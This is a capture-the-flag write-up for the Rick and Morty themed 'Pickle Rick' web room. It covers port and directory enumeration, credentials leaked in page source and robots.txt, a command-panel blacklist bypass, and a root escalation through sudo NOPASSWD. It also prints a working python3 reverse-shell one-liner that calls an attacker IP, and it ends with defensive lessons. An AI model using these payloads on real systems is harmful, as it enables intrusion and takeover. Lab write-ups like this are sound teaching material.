Pickle Rick: Command Injection to Root
A Rick and Morty themed web box. Source-code leaks, a filtered command panel and an overly generous sudo policy — chained into full root.
Contents / 10+
Pickle Rick is a beginner-friendly web room, but it rewards a disciplined methodology: enumerate everything, read every response, and never assume a filter is complete. The goal is to recover three “ingredients” hidden on the box.
Note: Flags and ingredient values are redacted throughout. Do the room yourself — the process is the point.
Reconnaissance
I always start with a full TCP port sweep, then run version detection only against what’s open. It’s faster than -A on every port and keeps the output readable.
# Fast full-port sweep
nmap -p- --min-rate 2000 -T4 -oN ports.txt 10.10.XX.XX
# Targeted service + script scan
nmap -sC -sV -p 22,80 -oN services.txt 10.10.XX.XX
Two services came back:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu |
| 80 | HTTP | Apache httpd 2.4.41 |
SSH without credentials is a dead end for now, so the web server is the attack surface.
Web Enumeration
Reading the source
The landing page is static, but viewing the source reveals a developer comment left behind:
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
A username on its own isn’t much, but it’s half of a credential pair.
Hidden files and directories
robots.txt contained a single odd string instead of the usual directives — worth noting as a possible password. Next, directory brute-forcing with common web extensions:
gobuster dir \
-u http://10.10.XX.XX \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html \
-t 40 -o gobuster.txt
Interesting hits:
/login.php— a login portal/portal.php— redirects to login when unauthenticated/assets/— directory listing enabled (images, JS)
Logging in to /login.php with the username from the source and the string from robots.txt worked first time.
Foothold: Command Panel
Behind the login is a “Command Panel” that executes input on the server — intentional command execution, which is effectively RCE as www-data.
whoami
# www-data
ls -la
# Sup3rS3cretPickl3Ingred.txt assets clue.txt denied.php index.html login.php portal.php robots.txt
Bypassing the filter
cat is blocked by a blacklist filter. Blacklists are rarely complete, so I tried other ways to read a file:
less Sup3rS3cretPickl3Ingred.txt # works
grep -R . clue.txt # also works
while read l; do echo "$l"; done < clue.txt
That gives the first ingredient ([REDACTED]). The clue file hints to look around the filesystem, which leads to /home/rick/ and the second ingredient.
Getting a real shell
A web panel is clunky, so I upgraded to a reverse shell. python3 was available:
# Attacker
nc -lvnp 4444
# Command panel
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.8.XX.XX",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
Privilege Escalation
The first check on any Linux foothold is sudo -l:
www-data@ip-10-10-XX-XX:/var/www/html$ sudo -l
User www-data may run the following commands on ip-10-10-XX-XX:
(ALL) NOPASSWD: ALL
The web server user can run any command as root without a password. That’s game over:
sudo su -
ls /root
# 3rd.txt snap
The third ingredient sits in /root/3rd.txt.
Defensive Takeaways
- Never ship comments containing credentials. Strip comments in your build step and review templates before deploy.
robots.txtis public. It tells attackers exactly where you don’t want them to look.- Blacklist filters fail. If a feature must run commands, use a strict allow-list of fixed actions — never pass user input to a shell.
- Least privilege for service accounts.
www-datawithNOPASSWD: ALLturns any web bug into full system compromise. Audit/etc/sudoersand/etc/sudoers.d/.
Tools Used
nmap, gobuster, browser dev tools, netcat, python3.